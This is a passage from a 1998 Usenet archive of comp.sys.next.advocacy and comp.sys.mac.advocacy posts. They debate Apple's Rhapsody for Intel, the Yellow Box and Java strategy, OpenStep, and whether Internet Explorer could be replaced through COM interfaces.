Subject: Re: future of mac programming
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 19 May 1998 23:18:25 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jti21$6a$1@crib.bevc.blacksburg.va.us>
References: <6j7me9$so3$1@newsfep4.sprintmail.com> <MPG.fc14db42395aa139896a2@news.supernews.com> <6j84dp$vln$1@crib.bevc.blacksburg.va.us> <spam_panda-1905982118030001@lexcas36.mis.net>
In article <spam_panda-1905982118030001@lexcas36.mis.net>, spam_panda@mis.net (Jason Stephenson) wrote:
> In article <6j84dp$vln$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> > In article <MPG.fc14db42395aa139896a2@news.supernews.com>,
> don.brown@cesoft.com (Donald Brown) wrote:
> > > Here is the path they have described today:
> > > You learn and program with the Mac APIs. There is a small percentage of
> > > those that are going away and being replaced, but you will mostly be
> > > working with the APIs we've been using for decades. Go ahead and learn
> > > the Mac API.
> > Better advice: if you're writing a new app, forget the Mac API.
> > OpenStep is infinitely better. Might as well develop good habits from
> > the beginning, and not waste your time.
> Best advice: Ditch the MacOS entirely. Get MkLinux, 68K Linux, or NetBSD.
> Help develop an operating system. Join the Free Software Revolution!
Gee, I just thought I wanted to use the system that lets me get my work
done the easiest. When did I have to join a revolution to do that? I'm
not interested in developing an operating system anyway. I'm interested
in writing tools for the operating system I like, which is not Linux.
(Well, Linux isn't bad. Just not the best. Good core OS. But what's
on top of it could be better.)
FYI: at various times, I've had NEXTSTEP, OPENSTEP for Mach, Rhapsody,
Windows 95, Windows NT, OS/2, Linux, and the Hurd installed on my
computer. (I'm also going to put OpenBSD on my old DECstation.)
As of right now, I've got OPENSTEP (replacing NEXTSTEP), Rhapsody, NT,
95 (which I never use anymore and am going to delete), and have already
deleted OS/2, Linux, and the Hurd (I might put the Hurd back sometime
to fool around with 'cause it's cool, especially if they ever decide
to port it to Fluke). I use OPENSTEP about 95% of the time and NT
and Rhapsody the other 5%, though the Rhapsody percentage is due to
increase once I get RDR2. OPENSTEP is simply a better user and developer
environment than Linux, for me at least.
My next computer will not be a PC, it will be a Mac. It may or may
not have MkLinux. Of course, with ever-increasing hard disk sizes,
I guess I might as well throw it on even if I never really use it.
> Besides, programming for these other OSes is *much* easier than
> programming the MacOS or Windows NT.
<snicker> Spoken like a true Linux bigot. Ignorance is bliss, eh?
You obviously have never programmed for OpenStep. I wonder if you even
know what it is?
> Besides, if you believe the press,
I don't. Do _you_? How naive.
> How can you count on an OS when you don't have the source code?
I've got most of what I need, and MacOS X will have more than Linux
offers for my interests.
[Followups to comp.sys.next.advocacy, comp.sys.mac.advocacy.]
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: That's not GX, that's Bravo -an Open Letter to Ric Ford
Date: 20 May 1998 06:41:22 GMT
Organization: Digital Fix Development
Message-ID: <6jttui$laa$1@news.digifix.com>
References: <6js47n$h02$4@ns3.vrx.net> <B1874A98-7A3E@206.165.43.108> <6jsv7f$bib$1@news.digifix.com> <markeaton-1905982132420001@user-38ld608.dialup.mindspring.com>
In-Reply-To: <markeaton-1905982132420001@user-38ld608.dialup.mindspring.com>
On 05/19/98, Mark Eaton wrote:
>In article <6jsv7f$bib$1@news.digifix.com>, sanguish@digifix.com
(Scott
>Anguish) wrote:
>
>> I found it totally hilarious that one of the most
impressive
>> systems demonstrated at the WWDC was the SoftMagic product for
>> producing newspapers in Korea.
>
>*That* was the most impressive demo you saw at WWDC? Scott, you need
to
>make it to more of the sessions.
>
>;-)
I should have qualified that better when I wrote it down
(third party demo.. although then I slight Stan Jirman... sigh..). It
was definately an impressive solution to the problems they had to deal
with, and when viewed with the knowledge of Lawson's rantings on GX
and Hangul, it was a sweet demo..
Yes, the Netscape demo on Rhapsody was cool too... as was the
Quicktime movie playing behind Macsbug..
But I didn't get to the Quicktime sessions, so I didn't see
what all the truly STUDLY Apple engineers were doing.. (you are in the
QT time right?) :-)
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Infoworld on the Yellow Box's future
Date: 20 May 1998 06:33:11 GMT
Organization: Digital Fix Development
Message-ID: <6jttf7$la9$1@news.digifix.com>
References: <nospampischke-1905981902030001@pm2-18-2.tor.idirect.com> <6jt4ie$vjg$1@crib.bevc.blacksburg.va.us> <nospampischke-1905982350420001@ts7-32t-16.idirect.com> <35626D26.B7616464@alum.mit.edu>
In-Reply-To: <35626D26.B7616464@alum.mit.edu>
On 05/19/98, Eric Hermanson wrote:
>
>
>David Pischke wrote:
>
>> In article <6jt4ie$vjg$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu
wrote:
>>
>> > In what sense? I don't see a problem with offering Java APIs
>> > to Yellow.
>>
>> I was concerned about the comment that the Yellow box is "changing
>> direction" and being "folded into" their Java strategy. Usually
>> those kinds of words are warning signs that something is going
>> to be drastically changed, or neutered somehow, if not dropped
>> outright.
>>
>> Scott Anguish's reply makes it clear that Infoworld added their
>> own spin on things, though. (Thank you for clarifying, and for
>> your excellent WWDC reporting!)
>
>
>With all due respect to Scott and his information gathering
techniques, I don't
>think one should just dismiss Steve Jobs saying "Yellow box is
changing
>direction and being folded into Java strategy".
I wouldn't be dismissing it if Steve said it. Read the
original quote, and its clear what Infoworld interpretted, and Steve
said.
<Begin Quote>
Rhapsody's "Yellow Box," previously the area that housed the advanced
OS features, is also changing direction, Jobs said.
"Our 'Yellow Box' strategy has been folded into our larger Java
strategy [all Yellow Box APIs are now in Java, enabling developers
to write their entire app in Java]," Jobs said. "We are continuing
to refine this strategy and will disclose it sometime this fall."
Jobs also said that Apple is also phasing out the "box" nomenclature
as part of how it positions its OS architecture.
"It's all about applications, not boxes," Bereskin added.
<End Quote>
>With Apple's recent boneheaded decision to not develop Rhapsody
>for Intel past v1.0, I don't put anything past them. It looks
>like the Apple people have more influence over the ex-NeXT geniuses
>than I thought! Dropping Intel support would never have happened
>at the "old" NeXT (even thought getting Intel support in the first
>place was a long and winding road).
>
All evidence is that OpenStep would have been dead by now.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: "Brian Elliott" <123bpelliott321@hotmail.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 19 May 1998 23:17:54 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6jti25$qc$1@ligarius.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net> <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrlp4$krr$1@nargun.cc.uq.edu.au> <rmcassid-1905981449580001@dante.eng.uci.edu>
Robert Cassidy wrote in message ...
>In article <6jrlp4$krr$1@nargun.cc.uq.edu.au>, "Christopher Smith"
><drsmithy@usa.net> wrote:
>
>>>>I immediately went off and wrote my very own
>>>>Web Browser, using the Visual Basic Control Creation edition I had
>>>>downloaded from the net!
>>>
>>>That's pretty cool.
>>
>>I think finally the light is beginning to dawn . . . .
>
>Don't get too worked up...
>
>
>>>No, not really. However, I have a hard time believing that it is so
>>hard
>>>to remove the useful functionality from the system. These are just
>>files
>>>that we're talking about, not human organs.
>>
>>Oh right, so an OS doesn't need files to run ? How do you think it
>>works - karma ?
>
>In MS's case, I sometimes wonder.
>
>Does an OS need a specific file or subset of files to run - like an HTML
>renderer? Or can we swap in an alternative?
>
>If the point is to have local HTML based help, why can't Netscape
>substitute? If it can substitute, then IE can be removed, no? Or did MS
>decide to sneak the HTML renderer into the kernal specifically so that it
>couldn't be removed? If it can't be easily replaced, then I think MS is
>either working very hard to make sure nobody can rip it out, or MS is
>paying their coders too much.
>
>-Bob Cassidy
I think Netscape could subsitute for IE if they made the Netscape rendering
engine a COM object and supported the same methods and properties.
Plus the COM object would need to support ActiveX controls as well as DHTML.
--- Brian
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 19 May 1998 22:22:59 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6jtgid$vp6$5@ligarius.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981 <rmcassid-1905980044070001@dante.eng.uci.edu> <6js61j$g18$1@inconnu.isu.edu>
Craig Kelley wrote in message <6js61j$g18$1@inconnu.isu.edu>...
>In article <rmcassid-1905980044070001@dante.eng.uci.edu>,
>Robert Cassidy <rmcassid@uci.edu> wrote:
>
>->In article <6jqt6a$md2$2@strato.ultra.net>, "John Saunders"
>-><jws@jws.ultranet.com> wrote:
>
>->>I immediately went off and wrote my very own
>->>Web Browser, using the Visual Basic Control Creation edition I had
>->>downloaded from the net!
>->
>->That's pretty cool.
>
>That's pretty stupid. I may as well say that I "wrote" my own web
>browser because I typed "netscape.exe" in a dos box; instantiating a
>WebBrowser control ammounts to the same thing...
>
Thanks. That's precisely the point. Microsoft has made it trivial for third
parties to include web browsing functionality in their products. Same with
ftp and gopher. Why is that a bad thing? Why can't Netscape do the same?
They've got some damn smart people working for them, so that's not much of
an excuse.
John Saunders
jws@jws.ultranet.com
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 19 May 1998 22:27:07 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6jtgie$vp6$6@ligarius.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net> <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com>
Darin Johnson wrote in message ...
>> >Microsoft documents the IWebBrowser (and IWebBrowser2?) interfaces. I
>> >believe that if Netscape wanted to be useable as the "web browser
library",
>> >then all they'd have to do is implement this interface.
>
>That's somewhat ingenuous though. I'm virtually certain that the
>IWebBrowser interface was already closely related to IE, in that it
>took minimal work on the IE developer's part to use it. Netscape on
>the other hand is *not* implemented like IE internally, and would need
>lots of work to support that interface.
>
Darin, I'm missing your point. Yes, IWebBrowser was available in IE3. Yes,
Netscape Navigator is not written as component software. I guess I've missed
the connection between those two facts.
>Thus, again, MS applications get a boost from the MS OS group. Old
>story. The only thing new in the story is that this time MS is
>desparately trying to have us believe IE is really an OS component and
>not an application.
How did MS applications get a boost from the OS group? Which MS
Applications are you referring to? The ones which use IWebBrowser2 to render
HTML? But they're just using the same documented interfaces as anyone else.
I really think I'm not getting you here.
John Saunders
jws@jws.ultranet.com
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: That's not GX, that's Bravo -an Open Letter to Ric Ford
Date: 20 May 1998 00:01:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B187CDB8-2FB2F@206.165.43.150>
References: <6jtqgp$ghc1@odie.mcleod.net>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Michelle L. Buck <buck.erik@mcleod.net> said:
>PS - Didn't you ever wonder why DPS limits window coordinate systems in
>screen units to something like +-32000 points ? Floating point coordinate
>systems have sub-point resolution in the tens of millions of units.
>
Interesting. So it may well be possible to take large pieces of the GX
rendering engine, add a floating point coordinate system at a higher level,
and get GX-style shapes, complete with GX color/inks, implemented in a
floating point system like Carbon graphics?
Kool.
But why would they bother? No-one wants to use something like GX because it
is so useless...
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Infoworld on the Yellow Box's future
Date: 20 May 1998 03:15:01 GMT
Organization: Digital Fix Development
Message-ID: <6jthrl$hg1$1@news.digifix.com>
References: <nospampischke-1905981902030001@pm2-18-2.tor.idirect.com>
In-Reply-To: <nospampischke-1905981902030001@pm2-18-2.tor.idirect.com>
On 05/19/98, David Pischke wrote:
>InfoWorld has an article on Mac OS X at this URL:
>http://www.infoworld.com/cgi-bin/displayStory.pl?980519.wcosx.htm
>
><Begin Quote>
>Rhapsody's "Yellow Box," previously the area that housed the advanced
OS
>features, is also changing direction, Jobs said.
>
Sounds like Infoworld's (mis)interpretation. There are no
longer to be any 'closed environments' in Mac OS X. There are no
dividing lines between the various areas (Yellow, Blue and Carbon)..
>"Our 'Yellow Box' strategy has been folded into our larger Java
strategy
>[all Yellow Box APIs are now in Java, enabling developers to write
their
>entire app in Java]," Jobs said. "We are continuing to refine this
>strategy and will disclose it sometime this fall."
>
Its clear that Infoworld added the stuff in the [...] in an
attempt to 'clarify' the situation. They got it wrong.
>Jobs also said that Apple is also phasing out the "box" nomenclature
as
>part of how it positions its OS architecture.
>
>"It's all about applications, not boxes," Bereskin added.
><End Quote>
>
>I don't know, but this bit about the Yellow Box "changing direction"
and
>"being folded into our larger Java strategy" worries me...
>
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: APPLE is forcing best os in the world into obscurity!!
Date: 20 May 1998 03:11:37 GMT
Organization: Digital Fix Development
Message-ID: <6jthl9$hfu$1@news.digifix.com>
References: <6jt7tt$enb$1@newsfep4.sprintmail.com> <joe.ragosta-1905982053010001@elk125.dol.net> <01bd8395$ec6d6540$4b620218@ci746489-a.nash1.tn.home.com>
In-Reply-To: <01bd8395$ec6d6540$4b620218@ci746489-a.nash1.tn.home.com>
On 05/19/98, "Robb" wrote:
>> > Yes, rhapsody for intel 1.0 will be out, but this will be the end
of
>rhapsody
>> > for intel. Its true.
>
>
>Is that truely the official word then? No more Rhapsody for Intel.
Currently, yes.
> Its
>unfortunate. I've been monitoring a piece called Project Heresy on
>Builder.com and Cnet Radio...
> http://www.news.com/Radio/Features/0,155,205,0.html
>....where they're discussing Windows alternatives for Intel users.
They
>couldn't get BeOS to work due to lack of compatable video divers or
some
>such. So now their focused on Lunix. Lunix sounds like a powerful
OS, but
>is still a bit of a science project to install and configure. I was
>suprised Rhapsody for Intel wasn't even mentioned in the article.
But I
>suppose it never really had a chance. Too bad.
So you're just going to drop it there?
Why not advocate Rhapsody to them? If they can get it, and
like it, you've got another strong ally in making Apple listen.
If you want this to change, you have to DO something about it.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Sorry That Apple Purchased NeXT?
Date: Wed, 20 May 1998 00:10:58 -0800
Organization: UC Irvine
Message-ID: <rmcassid-2005980010580001@dialin9111.slip.uci.edu>
References: <199805161935341708619@sdn-ts-002txhousp06.dialsprint.net> <6jn8d4$1cc$66@ironhorse.plsys.co.uk> <6jna7v$poi$1@crib.bevc.blacksburg.va.us> <joe.ragosta-1805981526190001@wil111.dol.net> <6jq3is$mhk$5@news.xmission.com> <joe.ragosta-1805981651520001@wil113.dol.net> <6jq8er$mhk$6@news.xmission.com> <6jq95g$8qf$1@news.seicom.net> <6jse4l$cqh$2@msunews.cl.msu.edu> <3561BDE5.191D7263@milestonerdl.com> <6jsk1p$r9l$1@msunews.cl.msu.edu> <3561E871.8C3D649F@milestonerdl.com>
In article <3561E871.8C3D649F@milestonerdl.com>, m rassbach
<mark@milestonerdl.com> wrote:
> OpenDoc users have asked for a change in Apple policy. Nadda
> Newton users/developers have asked for a change in Apple policy. Nadda
> Apple ][ users asked for a change in Apple policy. Nadda
>
> > So join the debate and blast the points to hell.
>
> The track record on Apple listening is, well poor.
MacOS developers have asked for a change in Apple Rhapsody plans. Done.
MPW users asked for a change in Apple policy. Done.
Quicktime 3 licensees asked for a change in Apple policy. Done.
OT developers have asked for a change in Apple policy. Considered.
Applescript developers and users asked for more attention. Done.
I can also attest to a *lot* of local, small things that added together
mean a lot. Apple *is* listening. It helps a lot to not be unreasonable
and stupid about what you go after. The last 9 days of 'Apple is never
going to support 98 and NT 5 because Steve didn't tatoo a press release on
his ass' is an example of unreasonable and stupid.
-Bob Cassidy
Subject: Re: Rhapsody/Intel is Dead Too!
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <35623A1A.BAE1F3FA@milestonerdl.com>
In-Reply-To: <35623A1A.BAE1F3FA@milestonerdl.com>
From: akira@home.com
Message-ID: <Gqv81.20$b13.1049508@news.rdc1.sfba.home.com>
Date: Wed, 20 May 1998 07:15:50 GMT
NNTP-Posting-Date: Wed, 20 May 1998 00:15:50 PDT
Organization: @Home Network
On 05/19/98, m rassbach wrote:
>
>
>Michael J. Peck wrote:
>
>> What they know is that Apple is hated, and that's enough reason for them
>> to hate Apple themselves. What they need right now is a reason to
>> disbelieve the illusion (if indeed it is illusion, which remains to be
>> seen).
>
>For me, clairfying mixed messages from WWDC would help dispel the illusion
that Apple
>is a company without direction.
>
>Example: Wed email 'Rhapsody on Intel is alive' Friday 'No, Rhapsody on
Intel is
>Dead.'
>
>Or: 'We are committed to shipping YellowBox for Intel.' Does this mean
NT4/95?
>NT5/98? NT37/NTCorportate2100? Or, just the 1.0 version of Rhapsody?
Most of the time, you pretty much had to equate Intel with 95/98/NT4/NT5
when Apple talked about 'Intel'. And in that sense, YellowBox/Rhapsody IS
alive. Every Apple person repeated that message over and over. It's
YellowBox+Mach on Intel whose future is in doubt.
Yeah, clear messages are what I went to the show for and it took me a week
to get some of those clear messages.
-akira
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Debate: Why Rhapsody for Intel would/could be a success?!
Date: Tue, 19 May 1998 20:46:47 -0700
Message-ID: <see-below-1905982046470001@209.24.240.108>
References: <6jsc2d$cqh$1@msunews.cl.msu.edu> <6jsfq6$e3n$1@news.tuwien.ac.at> <3561D9FA.69A0B628@unet.univie.ac.at> <6jsokh$rkf@newsb.netnews.att.com>
In article <6jsokh$rkf@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> Robert F Tobler wrote:
>
> > [ a number of good reasons to support Rhapsody/Intel ]
> >
> > In my opinion the number one reason for supporting Rhapsody/Intel is the
> > following:
> >
> > [S8] IT managers that buy Intel machines can only be pursuaded to
switch from
> > Microsoft solutions to other solutions if these other solutions run on
> > the hardware they bought. Thus Rhapsody/Intel is the only way
for Apple
> > to steal seats from Microsoft.
>
> Shouldn't Yellow-Box-on-Microsoft-OS be even easier to sneak in than
> Rhapsody-on-Intel ? This is a solution that runs not only on the
> hardware, but also on the software that they bought.
Perhaps, but that's only a tiny baby step. You're still using Windows as
your operating environment, with a Windows interface and mostly-Windows
applications. Not at all the same thing, and that doesn't do a whole lot
to make it easier to switch to PPC, unless all of the applications you use
are available on PPC, and even then it's a different interface, etc.
Moving from Rhapsody/Intel to Rhapsody/PPC should be largely transparent -
same user interface, etc., so that you'd hardly notice the change.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 20 May 1998 00:18:52 -0800
Organization: UC Irvine
Message-ID: <rmcassid-2005980018530001@dialin9111.slip.uci.edu>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net> <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrlp4$krr$1@nargun.cc.uq.edu.au> <rmcassid-1905981449580001@dante.eng.uci.edu> <6jtgig$vp6$9@ligarius.ultra.net>
In article <6jtgig$vp6$9@ligarius.ultra.net>, "John Saunders"
<jws@jws.ultranet.com> wrote:
> Robert Cassidy wrote in message ...
> >Does an OS need a specific file or subset of files to run - like an HTML
> >renderer? Or can we swap in an alternative?
>
> No. It does not need a specific file (or rather, if it does, that would be a
> Big Clue for DOJ).
>
> In general, one activates COM components (and ActiveX controls are COM
> components) via a binary GUID. The component is supposed to enter into the
> registry an association between the GUID and such things as the location of
> the .DLL file for the component. The theory is that the caller doesn't care
> which .DLL file the component came from. Or who the vendor is.
This suggests an even Bigger Clue for the DOJ as what you describe
suggests that the .dll could be swapped out, a new entry placed in the
registry to create the appropriate mapping and IE would be effectively
gone without having to change any code anywhere (assuming equal
functionality among browsers). So you could substitute, but not eliminate,
without any real harm - theoretically at least.
> >If the point is to have local HTML based help, why can't Netscape
> >substitute?
>
> Because Netscape has decided to implement their code so that it cannot
> provide this feature.
Fair enough.
> >If it can substitute, then IE can be removed, no?
>
> I assume so. I would be surprised to find any running code that depends on
> the name of the .DLL the IWebBrowser2 interface is implemented in.
But that removal would cause some functionality to be lost (anything
requiring an HTML renderer to load in).
-Bob Cassidy
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Debate: Why Rhapsody for Intel would/could be a success?!
Date: Tue, 19 May 1998 20:51:54 -0700
Message-ID: <see-below-1905982051540001@209.24.240.108>
References: <6jsc2d$cqh$1@msunews.cl.msu.edu> <6jsfq6$e3n$1@news.tuwien.ac.at> <6jsho2$lt5$1@msunews.cl.msu.edu> <6jsj3k$unp$1@crib.bevc.blacksburg.va.us>
In article <6jsj3k$unp$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> In article <6jsho2$lt5$1@msunews.cl.msu.edu>,
spammers@ruin.the.internet.channelu.com wrote:
> > > [S8] IT managers that buy Intel machines can only be pursuaded to
> > > switch from Microsoft solutions to other solutions if these other
> > > solutions run on the hardware they bought. Thus Rhapsody/Intel is the
> > > only way for Apple to steal seats from Microsoft.
>
> > Thanks to Nathan Urban and you for pointing out something I forgot to
> > list. I posted it in other articles a number of times.
>
> Let me point out a slight side-issue with S8: exposure. My company is
> Intel-only, and I couldn't convince them to use an Apple OS over Windows
> directly. _But_, I might be able to convince them to install it on one
> of our machines just for playing around with, or maybe as a server of
> some sort, if the price isn't too high. Probably as a dual-boot with
> Windows, but still there. And just by _having it there_, even if we're
> not even really _using_ it for anything, I could show people all the
> neat advantages it has over Windows. That might even have more of an
> influence on maybe some of them trying it out on their home systems than
> on our business starting to use it.
Exactly. Without being able to try it out on their existing Intel
hardware, most people will never even know about the advantages in the
first place. Without the impression that it's better, why would they even
consider buying a PowerMac to run it on?
While the ability to run it on their existing hardware might seem to
"steal" a hardware sale from Apple, I doubt it will in that many cases,
and is just as likely to pave the way for a future Apple sale.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 20 May 1998 03:20:53 GMT
Organization: Digital Fix Development
Message-ID: <6jti6l$hn0$1@news.digifix.com>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <6js3lh$h02$2@ns3.vrx.net> <6jsp0r$ut0$1@crib.bevc.blacksburg.va.us> <3561F158.580D297E@milestonerdl.com> <6jsv3g$bia$1@news.digifix.com> <3561FE85.C3B626FC@milestonerdl.com>
In-Reply-To: <3561FE85.C3B626FC@milestonerdl.com>
On 05/19/98, m rassbach wrote:
>
>
>Scott Anguish wrote:
>
>> On 05/19/98, m rassbach wrote:
>> <snip>
>> >Based on an e-mail, MacOSRumors reported Intel/Rhapsody is alive.
>> Look at the name of the site. Does that give you a clue as
to
>> the accuracy?
>
>The thread from akria@home.com mentioned the author of that email in
his
>thread where he mentions the session where Apple confirms on tape the
>ending of Intel Rhapsody at 1.0. That e-mail has a wed. date, and
the
>session date of 197 is thursday.
>
This was confirmed on Friday during the Yellow Box Feedback
Forum from what I've been able to find out.
I confirmed it on Friday/Saturday via email from Steve Jobs.
<snip>
>> >Yet, others say Steve Jobs and in a Q&A (!97) that Intel/Rhapsody
>> >is dead beyond 1.0 release. All I have been asking for is a
>> >statement from Apple via a press release or white paper that
>> >outlines what the NT5/98 plans are.
>>
>> Apple outlined their plans with regard to Yellow Box on
>> Windows at WWDC. That hasn't changed.
>
>Which WWDC? There have been 2 of 'em if you want to split hairs, and
>historically WWDC's technology announcements vs deployment record
isn't
>awe inspiring.
The WWDC last week.
>Tidbits points out that WWDC 97 said Yellowbox would be out and have
>'free' YB for windows.
>
Its unfortunate that Adobe wouldn't allow that.
>> WebObjects relies on YB on NT. The fourth largest contract
>> ever awarded by the Federal Goverment is based on WebObjects.
>
>And where is the press-release on that? Nice press....why doesn't
Apple
>promote it?
They aren't contractually allowed to.
>
>> >And for some reason the writers who appear at StepWise and Nathan
>> >don't feel a press release is reasonable to ask for.
>> I've never said that.
>
>And never have claimed you have.
>
Really? You I wrote most of the WWDC coverage on Stepwise.
>I hereby modify the writers who appear to the writers who sometimes
>appear.
>Or how about:
>the regular posters in c.s.n.a who appear at StepWise
>
Still inclusive of myself, and others and isn't at all
representative of the actual situation.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 20 May 1998 03:22:08 GMT
Organization: Digital Fix Development
Message-ID: <6jti90$hn1$1@news.digifix.com>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <6js3lh$h02$2@ns3.vrx.net> <6jsp0r$ut0$1@crib.bevc.blacksburg.va.us> <3561F158.580D297E@milestonerdl.com> <6jsv3g$bia$1@news.digifix.com> <joe.ragosta-1905982103420001@elk125.dol.net>
In-Reply-To: <joe.ragosta-1905982103420001@elk125.dol.net>
On 05/19/98, Joe Ragosta wrote:
>In article <6jsv3g$bia$1@news.digifix.com>, sanguish@digifix.com
(Scott
>Anguish) wrote:
>
<snip>
>>
>> Apple outlined their plans with regard to Yellow Box on
>> Windows at WWDC. That hasn't changed.
>>
>> WebObjects relies on YB on NT. The fourth largest contract
